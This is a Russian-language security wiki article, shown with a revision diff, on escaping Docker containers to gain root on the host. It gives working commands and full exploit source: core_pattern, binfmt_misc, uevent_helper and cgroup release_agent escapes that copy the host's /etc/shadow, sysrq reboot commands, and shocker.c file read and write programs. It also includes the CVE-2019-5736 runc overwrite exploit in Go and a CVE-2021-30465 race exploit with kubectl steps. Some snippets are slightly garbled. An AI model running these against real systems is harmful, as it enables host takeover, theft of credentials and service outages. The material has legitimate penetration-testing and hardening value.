Docker escape — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (/sys/kernel/debug =)
м (CAP_SYS_PTRACE + host pid)
Строка 396: Строка 396:
 
Кратко:
 
Кратко:
 
1. Ищем нужный хостовой процесс (скорее всего рутовый)
 
1. Ищем нужный хостовой процесс (скорее всего рутовый)
 +
 
2. Запускаем gdb -p PID  
 
2. Запускаем gdb -p PID  
 +
 
3. Встраиваем инструкции (шеллкод)
 
3. Встраиваем инструкции (шеллкод)
 +
 
4. Запускаем инструкции
 
4. Запускаем инструкции
  

Версия 15:04, 3 июля 2022


Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.


Содержание

SSRF

Доступ, когда можно только делать запросы по различным протоколам.

Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).

Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер

Local file reading

Доступ, когда можно только читать локальные файлы контейнера.

Host volumes mount

В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд.

Например, корневая директория хостовой системы может быть доступна по адресу /host_root/.


kubernetes

environ

В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов.

Например, файл текущего процесса /proc/self/environ

Remote code execution

Mounts

Многие директории хоста в случае доступа из контейнера, позволяют, например, получить исполнение кода на хостовой машине.

/proc/sys

Позволяет редактировать переменные ядра

/proc/sys/kernel/core_pattern

Позволяет запустить произвольный код от имени рута на хостовой системе. Требуются права записи.

Кратко: определяем программу через символ pipe которая будет запущена если программа сломается.

Уточняю, но предварительно для эксплуатации требуется:

1. Права изменения файла /proc/sys/kernel/core_pattern

2. Права создания файла где то в известном месте на хостовой машине

3. На созданный файл chmod +x


1 cd /proc/sys/kernel
2 echo "|$overlay/shell.sh" > core_pattern
3 sleep 5 && ./crash

/proc/sys/kernel/modprobe

Содержить путь до kernel module loader, который используется когда вы подгружаете модуль ядра например через команду modprobe.

Поэтому вам требуется право на запись в этот файл, чтобы поменять путь до вашего исполняемого файла.

Пример содержимого файла:

1 $ cat /proc/sys/kernel/modprobe
2 /sbin/modprobe


/proc/sys/fs

Директория с файлами конфигураций файловой системы: inode, file handler, quota и тд.

Как правило, позволяет провести только атаки DoS

/proc/sys/fs/binfmt_misc

В дополнение к предыдущему пункту. Файл нужен для определения того, через какую программу будут исполняться файлы (например, DOS приложения через wine elf).


Для эксплуатации требуется возможность записать файлы.

Тестовая инфраструктура :

1 sudo docker run --security-opt apparmor:unconfirned --cap-add=SYS_ADMIN -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Пример эксплуатации (перезаписывание #!/bin/sh интерпретатора):

 1 # Можен понадобиться перемонтирование (хотя мб не хватит прав)
 2 mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
 3 mount -o rw,remount /proc/sys
 4 # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
 5 mount | grep upperdir
 6 
 7 cd /tmp/
 8 # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
 9 echo 'cat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
10 chmod +x test.sh
11 
12 # Добавляем новое определение #!/bin/sh:
13 echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
14 
15 # Ждем пока на хостовой системе запустят файл который начинается с #!/bin/sh
16 ./test_file.sh
17 
18 # читаем файл shadow скопированный в контейнер
19 cat /tmp/shadow


Пример эксплуатации (перезаписывание команды ls):

 1 mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
 2 mount -o rw,remount /proc/sys
 3 # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
 4 mount | grep upperdir
 5 
 6 cd /tmp/
 7 # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
 8 echo -e '$#/bin/bash\ncat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
 9 chmod +x test.sh
10 
11 # Добавляем новое определение команды ls:
12 echo ':test:M:208:\xd0\x35::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
13 
14 # Ждем пока на хостовой системе запустят команду ls
15 ls
16 
17 # читаем файл shadow скопированный в контейнер
18 cat /tmp/shadow


Утилита для эксплуатации (не в докере): https://github.com/toffan/binfmt_misc

Презентация с описанием атак (в докере): https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf

/proc/config.gz

Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера.

1 cd /tmp;
2 cp /proc/config.gz .
3 gzip -d config.gz
4 cat config

/proc/sysrq-trigger

Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только):

1. Перезапустить систему

2. вызвать sync(2) syscall

3. перемаунтить файловую систему как read-only

4. Вызвать отладчики ядра


Пример перезапуска системы:

1 echo b > /proc/sysrq-trigger

Проверка файловой системы (read-only):

1 echo 1 > /proc/sysrq-trigger

/proc/kmsg

Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg).

По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера.

/proc/kallsyms

Тоже информация о ядре.

/proc/*/mem

Это интерфейс к устройству ядра /dev/mem.

Есть старая CVE на повышение через это - CVE-2012-0056.

Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/

/proc/kcore

Это представление физической системы в формате ELF. Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak.


Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/

/proc/kmem

Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра.


Ищем по памяти подстроку PASS:

1 strings /proc/kmem -n10 | grep -i PASS


Но для этого также нужно отключить docker apparmor

/proc/mem

Представление устройства /dev/mem, позволяет напрямую читать и редактировать физическую память ядра.


Ищем по памяти подстроку PASS:

1 strings /proc/mem -n10 | grep -i PASS

/proc/sched_debug

Возвращает информацию о задачах по расписанию у хостовой системы.

Позволяет например обойти PID-ограничения и узнать айди процессов хоста.

/proc/*/mountinfo

Информация о Mount Points в рабочем пространстве процесса

/sys/kernel/uevent_helper

Файл отвечает за то, какие скрипты будут запущены, когда будет подключено или отключено новое устройство.

Если есть права на запись на этот файл, то можно заменить его содержимое на путь до нашего исполняемого файла.

 1 # Создаем вредоносный файл
 2 cat "#!/bin/sh" > /evil-helper
 3 cat "ps > /output" >> /evil-helper
 4 chmod +x /evil-helper
 5 
 6 # Определяет путь с хоста до файловой системы докера
 7 host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 8 
 9 # Указываю путь до моего файла
10 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
11 
12 # Вызываю uevent
13 echo change > /sys/class/mem/null/uevent
14 # Второй способ
15 # echo /sbin/poweroff > /sys/kernel/uevent_helper
16 
17 # Читаю вывод
18 cat /output

/sys/class/thermal

Доступ к аппаратным характеристикам, как правило привести может только к DoS

/sys/kernel/vmcoreinfo

Адреса памяти ядра, может помочь для обхода KASLR(рандомизация адресов).

/sys/kernel/security

Примонтирован securityfs интерфейс, позволяющий конфигурировать модули безопасности Linux, например, AppArmor policies.

/sys/firmware/efi/vars

Не сильно распространено, позволяет общаться с EFI-переменными в NVRAM. Как минимум, привести к DoS можно.

/sys/firmware/efi/efivars

Если есть права на запись, то можно записывать в NVRAM которая используется в качестве аргумента для UEFI-загрузки. Минимум DoS, в лучшем - компрометация сервера.

/sys/kernel/debug

Ссылка на debugfs интерфейс. Позволяет создавать интерфейсы отладки которые будут доступны в пользовательском пространстве. Есть много уязвимостей, эксплуатирующихся через данный интерфейс.

Capabilities

Получить список возможных capabilities:

1 capsh --print


Описание capabilities

Или сложнее:

1 cat /proc/self/status | grep Cap

Пример вывода:

1 CapInh: 0000000000000000
2 CapPrm: 0000003fffffffff
3 CapEff: 0000003fffffffff
4 CapBnd: 0000003fffffffff
5 CapAmb: 0000000000000000

Чтобы декодировать:

1 capsh --decode=0000003fffffffff
2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Тестовая инфраструктура для произвольной capability:

1 sudo docker run --cap-add название_capability -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


CAP_SYS_CHROOT

Доступ к системному вызову:

1 chroot(2)

По идее может помочь при chroot, но реальных примеров не нашел.

Может помочь утилита https://github.com/earthquake/chw00t/


CAP_SYS_ADMIN

Эта capability позволяет получить максимальные права. В своем роде alias на другие.

Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.

Cм. CAP_SYS_MODULE capability.


Также в случае read-only файловой системой, позволяет примонтировать файловую систему с возможностью записи командой:

1 mount -o rw,remount /hostlogs/

Второй вариант - использовать release_agent feature:

 1 mkdir /tmp/cgrp 
 2 mount -t cgroup -o rdma cgroup /tmp/cgrp
 3 # если ошибка, то выполните эту команду
 4 # mount -t cgroup -o memory cgroup /tmp/cgrp
 5 mkdir /tmp/cgrp/x
 6 echo 1 > /tmp/cgrp/x/notify_on_release
 7 host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 8 echo "$host_path/cmd" > /tmp/cgrp/release_agent
 9 echo "#!/bin/sh" > /cmd
10 echo "ps aux > $host_path/output" >> /cmd
11 chmod a+x /cmd
12 sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
13 cat /output

CAP_SYS_PTRACE + host pid

Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый)

2. Запускаем gdb -p PID

3. Встраиваем инструкции (шеллкод)

4. Запускаем инструкции

CAP_SYS_MODULE

Позволяет модифицировать ядро.

Тестовая инфраструктура:

1 sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print


Доступ к системным вызовам:

1 init_module(2)
2 finit_module(2)
3 delete_module(2)


Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd

CAP_DAC_READ_SEARCH

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

1 sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search


Чтение хостового файла

 1 cd /tmp
 2 apt update
 3 apt install gcc wget nano
 4 wget http://stealth.openwall.net/xSports/shocker.c
 5 
 6 # Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
 7 mount 
 8 
 9 
10 # заменяете в файле shocker.c путь .dockerinit на найденный вами путь
11 # и заменяем /etc/shadow на файл который хотите прочитать
12 nano shocker.c
13 
14 # компиляция
15 gcc shocker.c
16 
17 # чтение файла
18 ./a.out

Содержимое файла shocker.c:

  1 /* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
  2  *
  3  * Demonstrates that any given docker image someone is asking
  4  * you to run in your docker setup can access ANY file on your host,
  5  * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
  6  * security of the host and any other docker VM's on it.
  7  *
  8  * docker using container based VMM: Sebarate pid and net namespace,
  9  * stripped caps and RO bind mounts into container's /. However
 10  * as its only a bind-mount the fs struct from the task is shared
 11  * with the host which allows to open files by file handles
 12  * (open_by_handle_at()). As we thankfully have dac_override and
 13  * dac_read_search we can do this. The handle is usually a 64bit
 14  * string with 32bit inodenumber inside (tested with ext4).
 15  * Inode of / is always 2, so we have a starting point to walk
 16  * the FS path and brute force the remaining 32bit until we find the
 17  * desired file (It's probably easier, depending on the fhandle export
 18  * function used for the FS in question: it could be a parent inode# or
 19  * the inode generation which can be obtained via an ioctl).
 20  * [In practise the remaining 32bit are all 0 :]
 21  *
 22  * tested with docker 0.11 busybox demo image on a 3.11 kernel:
 23  *
 24  * docker run -i busybox sh
 25  *
 26  * seems to run any program inside VMM with UID 0 (some caps stripped); if
 27  * user argument is given, the provided docker image still
 28  * could contain +s binaries, just as demo busybox image does.
 29  *
 30  * PS: You should also seccomp kexec() syscall :)
 31  * PPS: Might affect other container based compartments too
 32  *
 33  * $ cc -Wall -std=c99 -O2 shocker.c -static
 34  */
 35 
 36 #define _GNU_SOURCE
 37 #include <stdio.h>
 38 #include <sys/types.h>
 39 #include <sys/stat.h>
 40 #include <fcntl.h>
 41 #include <errno.h>
 42 #include <stdlib.h>
 43 #include <string.h>
 44 #include <unistd.h>
 45 #include <dirent.h>
 46 #include <stdint.h>
 47 
 48 
 49 struct my_file_handle {
 50 	unsigned int handle_bytes;
 51 	int handle_type;
 52 	unsigned char f_handle[8];
 53 };
 54 
 55 
 56 
 57 void die(const char *msg)
 58 {
 59 	perror(msg);
 60 	exit(errno);
 61 }
 62 
 63 
 64 void dump_handle(const struct my_file_handle *h)
 65 {
 66 	fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
 67 	        h->handle_type);
 68 	for (int i = 0; i < h->handle_bytes; ++i) {
 69 		fprintf(stderr,"0x%02x", h->f_handle[i]);
 70 		if ((i + 1) % 20 == 0)
 71 			fprintf(stderr,"\n");
 72 		if (i < h->handle_bytes - 1)
 73 			fprintf(stderr,", ");
 74 	}
 75 	fprintf(stderr,"};\n");
 76 }
 77 
 78 
 79 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
 80 {
 81 	int fd;
 82 	uint32_t ino = 0;
 83 	struct my_file_handle outh = {
 84 		.handle_bytes = 8,
 85 		.handle_type = 1
 86 	};
 87 	DIR *dir = NULL;
 88 	struct dirent *de = NULL;
 89 
 90 	path = strchr(path, '/');
 91 
 92 	// recursion stops if path has been resolved
 93 	if (!path) {
 94 		memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
 95 		oh->handle_type = 1;
 96 		oh->handle_bytes = 8;
 97 		return 1;
 98 	}
 99 	++path;
100 	fprintf(stderr, "[*] Resolving '%s'\n", path);
101 
102 	if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
103 		die("[-] open_by_handle_at");
104 
105 	if ((dir = fdopendir(fd)) == NULL)
106 		die("[-] fdopendir");
107 
108 	for (;;) {
109 		de = readdir(dir);
110 		if (!de)
111 			break;
112 		fprintf(stderr, "[*] Found %s\n", de->d_name);
113 		if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
114 			fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
115 			ino = de->d_ino;
116 			break;
117 		}
118 	}
119 
120 	fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
121 
122 
123 	if (de) {
124 		for (uint32_t i = 0; i < 0xffffffff; ++i) {
125 			outh.handle_bytes = 8;
126 			outh.handle_type = 1;
127 			memcpy(outh.f_handle, &ino, sizeof(ino));
128 			memcpy(outh.f_handle + 4, &i, sizeof(i));
129 
130 			if ((i % (1<<20)) == 0)
131 				fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
132 			if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
133 				closedir(dir);
134 				close(fd);
135 				dump_handle(&outh);
136 				return find_handle(bfd, path, &outh, oh);
137 			}
138 		}
139 	}
140 
141 	closedir(dir);
142 	close(fd);
143 	return 0;
144 }
145 
146 
147 int main()
148 {
149 	char buf[0x1000];
150 	int fd1, fd2;
151 	struct my_file_handle h;
152 	struct my_file_handle root_h = {
153 		.handle_bytes = 8,
154 		.handle_type = 1,
155 		.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
156 	};
157 
158 	fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014             [***]\n"
159 	       "[***] The tea from the 90's kicks your sekurity again.     [***]\n"
160 	       "[***] If you have pending sec consulting, I'll happily     [***]\n"
161 	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
162 
163 	read(0, buf, 1);
164 
165 	// get a FS reference from something mounted in from outside
166 	if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
167 		die("[-] open");
168 
169 	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
170 		die("[-] Cannot find valid handle!");
171 
172 	fprintf(stderr, "[!] Got a final handle!\n");
173 	dump_handle(&h);
174 
175 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
176 		die("[-] open_by_handle");
177 
178 	memset(buf, 0, sizeof(buf));
179 	if (read(fd2, buf, sizeof(buf) - 1) < 0)
180 		die("[-] read");
181 
182 	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
183 
184 	close(fd2); close(fd1);
185 
186 	return 0;
187 }

CAP_DAC_OVERRIDE

Позволяет прочитать содержимое файлов хостовой системы.

Тестовая инфраструктура:

1 sudo docker run --cap-add DAC_OVERRIDE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print

Запись хостового файла

Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>

Хостовой файл будет перезаписан докер-файлом.

  1 #include <stdio.h>
  2 #include <sys/types.h>
  3 #include <sys/stat.h>
  4 #include <fcntl.h>
  5 #include <errno.h>
  6 #include <stdlib.h>
  7 #include <string.h>
  8 #include <unistd.h>
  9 #include <dirent.h>
 10 #include <stdint.h>
 11 
 12 // gcc shocker_write.c -o shocker_write
 13 // ./shocker_write /etc/passwd passwd 
 14 
 15 struct my_file_handle {
 16   unsigned int handle_bytes;
 17   int handle_type;
 18   unsigned char f_handle[8];
 19 };
 20 void die(const char * msg) {
 21   perror(msg);
 22   exit(errno);
 23 }
 24 void dump_handle(const struct my_file_handle * h) {
 25   fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
 26     h -> handle_type);
 27   for (int i = 0; i < h -> handle_bytes; ++i) {
 28     fprintf(stderr, "0x%02x", h -> f_handle[i]);
 29     if ((i + 1) % 20 == 0)
 30       fprintf(stderr, "\n");
 31     if (i < h -> handle_bytes - 1)
 32       fprintf(stderr, ", ");
 33   }
 34   fprintf(stderr, "};\n");
 35 } 
 36 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
 37 {
 38   int fd;
 39   uint32_t ino = 0;
 40   struct my_file_handle outh = {
 41     .handle_bytes = 8,
 42     .handle_type = 1
 43   };
 44   DIR * dir = NULL;
 45   struct dirent * de = NULL;
 46   path = strchr(path, '/');
 47   // recursion stops if path has been resolved
 48   if (!path) {
 49     memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
 50     oh -> handle_type = 1;
 51     oh -> handle_bytes = 8;
 52     return 1;
 53   }
 54   ++path;
 55   fprintf(stderr, "[*] Resolving '%s'\n", path);
 56   if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
 57     die("[-] open_by_handle_at");
 58   if ((dir = fdopendir(fd)) == NULL)
 59     die("[-] fdopendir");
 60   for (;;) {
 61     de = readdir(dir);
 62     if (!de)
 63       break;
 64     fprintf(stderr, "[*] Found %s\n", de -> d_name);
 65     if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
 66       fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
 67       ino = de -> d_ino;
 68       break;
 69     }
 70   }
 71   fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
 72   if (de) {
 73     for (uint32_t i = 0; i < 0xffffffff; ++i) {
 74       outh.handle_bytes = 8;
 75       outh.handle_type = 1;
 76       memcpy(outh.f_handle, & ino, sizeof(ino));
 77       memcpy(outh.f_handle + 4, & i, sizeof(i));
 78       if ((i % (1 << 20)) == 0)
 79         fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
 80       if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
 81         closedir(dir);
 82         close(fd);
 83         dump_handle( & outh);
 84         return find_handle(bfd, path, & outh, oh);
 85       }
 86     }
 87   }
 88   closedir(dir);
 89   close(fd);
 90   return 0;
 91 }
 92 int main(int argc, char * argv[]) {
 93   char buf[0x1000];
 94   int fd1, fd2;
 95   struct my_file_handle h;
 96   struct my_file_handle root_h = {
 97     .handle_bytes = 8,
 98     .handle_type = 1,
 99     .f_handle = {
100       0x02,
101       0,
102       0,
103       0,
104       0,
105       0,
106       0,
107       0
108     }
109   };
110   fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
111     "[***] The tea from the 90's kicks your sekurity again. [***]\n"
112     "[***] If you have pending sec consulting, I'll happily [***]\n"
113     "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
114   read(0, buf, 1);
115   // get a FS reference from something mounted in from outside
116   if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
117     die("[-] open");
118   if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
119     die("[-] Cannot find valid handle!");
120   fprintf(stderr, "[!] Got a final handle!\n");
121   dump_handle( & h);
122   if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
123     die("[-] open_by_handle");
124   char * line = NULL;
125   size_t len = 0;
126   FILE * fptr;
127   ssize_t read;
128   fptr = fopen(argv[2], "r");
129   while ((read = getline( & line, & len, fptr)) != -1) {
130     write(fd2, line, read);
131   }
132   printf("Success!!\n");
133   close(fd2);
134   close(fd1);
135   return 0;
136 }

CAP_SYS_RAWIO

Доступ к следующим ресурсам:


1 /dev/mem
2 /dev/kmem
3 /proc/kcore

Редактирование параметра mmap_min_addr


А также доступ к системным вызовам:

1 ioperm(2)
2 iopl(2)
3 FIBMAP ioctl(2)

И также доступ к различным дисковым командам.

CAP_SYSLOG

Позволяет использовать syslog(2) syscall и просматривать адреса ядра в /proc (если включен /proc/sys/kernel/kptr_restrict)

Также возможно смотреть dmesg вывод.

CAP_NET_RAW

Возможность отправлять низкоуровневые пакеты.

Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.

Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.

CAP_NET_ADMIN

Аналогично CAP_NET_RAW


Дает возможность изменять следующие пункты:

- network namespaces' firewall

- routing tables

- socket permissions

- network interface configuration

- другие настройки



Есть старые CVE, позволяющие повысить привилегии. Примеры: CVE-2011-1019, CVE-2010-4655, CVE-2013-4514

CVE

Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list

Runc exploit (CVE-2019-5736)

Уязвимые версии: <=1.0-rc6

Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.

Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :

 1 package main
 2 
 3 // Implementation of CVE-2019-5736
 4 // Created with help from @singe, @_cablethief, and @feexd.
 5 // This commit also helped a ton to understand the vuln
 6 // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
 7 import (
 8 	"fmt"
 9 	"io/ioutil"
10 	"os"
11 	"strconv"
12 	"strings"
13 	"flag"
14 )
15 
16 
17 var shellCmd string
18 
19 func init() {
20 	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
21 	flag.Parse()
22 }
23 
24 func main() {
25 	// This is the line of shell commands that will execute on the host
26 	var payload = "#!/bin/bash \n" + shellCmd
27 	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
28 	fd, err := os.Create("/bin/sh")
29 	if err != nil {
30 		fmt.Println(err)
31 		return
32 	}
33 	fmt.Fprintln(fd, "#!/proc/self/exe")
34 	err = fd.Close()
35 	if err != nil {
36 		fmt.Println(err)
37 		return
38 	}
39 	fmt.Println("[+] Overwritten /bin/sh successfully")
40 
41 	// Loop through all processes to find one whose cmdline includes runcinit
42 	// This will be the process created by runc
43 	var found int
44 	for found == 0 {
45 		pids, err := ioutil.ReadDir("/proc")
46 		if err != nil {
47 			fmt.Println(err)
48 			return
49 		}
50 		for _, f := range pids {
51 			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
52 			fstring := string(fbytes)
53 			if strings.Contains(fstring, "runc") {
54 				fmt.Println("[+] Found the PID:", f.Name())
55 				found, err = strconv.Atoi(f.Name())
56 				if err != nil {
57 					fmt.Println(err)
58 					return
59 				}
60 			}
61 		}
62 	}
63 
64 	// We will use the pid to get a file handle for runc on the host.
65 	var handleFd = -1
66 	for handleFd == -1 {
67 		// Note, you do not need to use the O_PATH flag for the exploit to work.
68 		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
69 		if int(handle.Fd()) > 0 {
70 			handleFd = int(handle.Fd())
71 		}
72 	}
73 	fmt.Println("[+] Successfully got the file handle")
74 
75 	// Now that we have the file handle, lets write to the runc binary and overwrite it
76 	// It will maintain it's executable flag
77 	for {
78 		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
79 		if int(writeHandle.Fd()) > 0 {
80 			fmt.Println("[+] Successfully got write handle", writeHandle)
81 			fmt.Println("[+] The command executed is" + payload)
82 			writeHandle.Write([]byte(payload))
83 			return
84 		}
85 	}
86 }

Команда для сборки:

1 [+] Overwritten /bin/sh successfully

После запуска эксплоита ждите надпись

1 go build main.go

После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:

1 docker exec -it <container-name> /bin/sh

Runc exploit (CVE-2021-30465)

Уязвимые версии: <=1.0.0-rc94


Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs.

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация.

1. Создаем симлинк

1 ln -s / /test2/test2

2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ )

 1 #define _GNU_SOURCE
 2 #include <fcntl.h>
 3 #include <stdio.h>
 4 #include <stdlib.h>
 5 #include <sys/types.h>
 6 #include <sys/stat.h>
 7 #include <unistd.h>
 8 #include <sys/syscall.h>
 9 
10 int main(int argc, char *argv[]) {
11     if (argc != 4) {
12         fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
13         exit(EXIT_FAILURE);
14     }
15     char *name1 = argv[1];
16     char *name2 = argv[2];
17     char *linkdest = argv[3];
18 
19     int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
20     if (dirfd < 0) {
21         perror("Error open CWD");
22         exit(EXIT_FAILURE);
23     }
24 
25     if (mkdir(name1, 0755) < 0) {
26         perror("mkdir failed");
27         //do not exit
28     }
29     if (symlink(linkdest, name2) < 0) {
30         perror("symlink failed");
31         //do not exit
32     }
33 
34     while (1)
35     {
36         renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
37     }
38 }

и компилируем

1 gcc race.c -O3 -o race

3. В цикле запускаем эксплоит

1 seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

4. Во втором шелле запустите в цикле обновление контейнера

1 for c in {2..20}; do
2   kubectl set image pod attack c$c=ubuntu:latest
3 done

5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста)

1 for c in {2..20}; do
2   echo ~~ Container c$c ~~
3   kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
4 done

Runc exploit (CVE-2019-19921)

Уязвимые версии: <1.0.0-rc10

https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html


Containerd exploit (CVE-2019-41103)

Уязвимые версии: <1.4.11, < 1.5.7

Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq

Sockets

Docker Sockets

Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.

Это позволяет выполнять стандартные docker команды на хостовой системе.

1 find / -name docker.sock 2>/dev/null
2 # Как правило будет /run/docker.sock

